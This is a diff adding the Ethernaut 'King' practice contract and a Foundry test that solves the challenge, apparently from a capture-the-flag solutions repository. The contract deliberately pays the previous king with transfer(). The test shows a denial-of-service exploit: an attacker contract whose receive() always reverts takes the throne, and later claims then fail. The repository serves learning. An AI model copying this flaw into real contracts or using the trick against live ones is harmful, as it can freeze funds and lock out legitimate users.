09_King

src/09_King.sol

@@ -0,0 +1,35 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+
+/*
+Author: @BoscoHuang
+
+Process:
+- Deploy Token contract in anvil: 
+    0. anvil
+    1. forge create src/09_king.sol:King  --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
+*/
+
+contract King {
+    address king;
+    uint256 public prize;
+    address public owner;
+
+    constructor() payable {
+        owner = msg.sender;
+        king = msg.sender;
+        prize = msg.value;
+    }
+
+    receive() external payable {
+        require(msg.value >= prize || msg.sender == owner);
+        payable(king).transfer(msg.value);
+        king = msg.sender;
+        prize = msg.value;
+    }
+
+    function _king() public view returns (address) {
+        return king;
+    }
+}

test/09_King.t.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "ds-test/test.sol";
+import "forge-std/Test.sol";
+import "../src/09_King.sol";
+
+/*
+Author: @BoscoHuang
+
+Analysis:
+- transfer gas limit is 2300
+- the attack contract don't have recieve/fallback function, will block the transfer
+- or the attack contract has recieve/fallback function, but has the code in these funciton, willl trigger out of gas.
+
+
+Command:
+- forge test --match-contract KingTest --fork-url http://127.0.0.1:8545 -vvv
+*/
+
+contract KingTest is DSTest {
+    King Ethernaut09;
+
+    function setUp() public {
+        Ethernaut09 = King(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3));
+    }
+
+    function testEthernaut09() public {
+        address(Ethernaut09).call{value: Ethernaut09.prize()}("");
+        console.log("New king: ", Ethernaut09._king());
+        assert(address(this) == Ethernaut09._king());
+
+        (bool success, ) = address(Ethernaut09).call{value: Ethernaut09.prize()}("");
+        console.log("New King Claims: ", success);
+    }
+
+    receive() external payable {
+        revert("You can't defeat me");
+    }
+
+}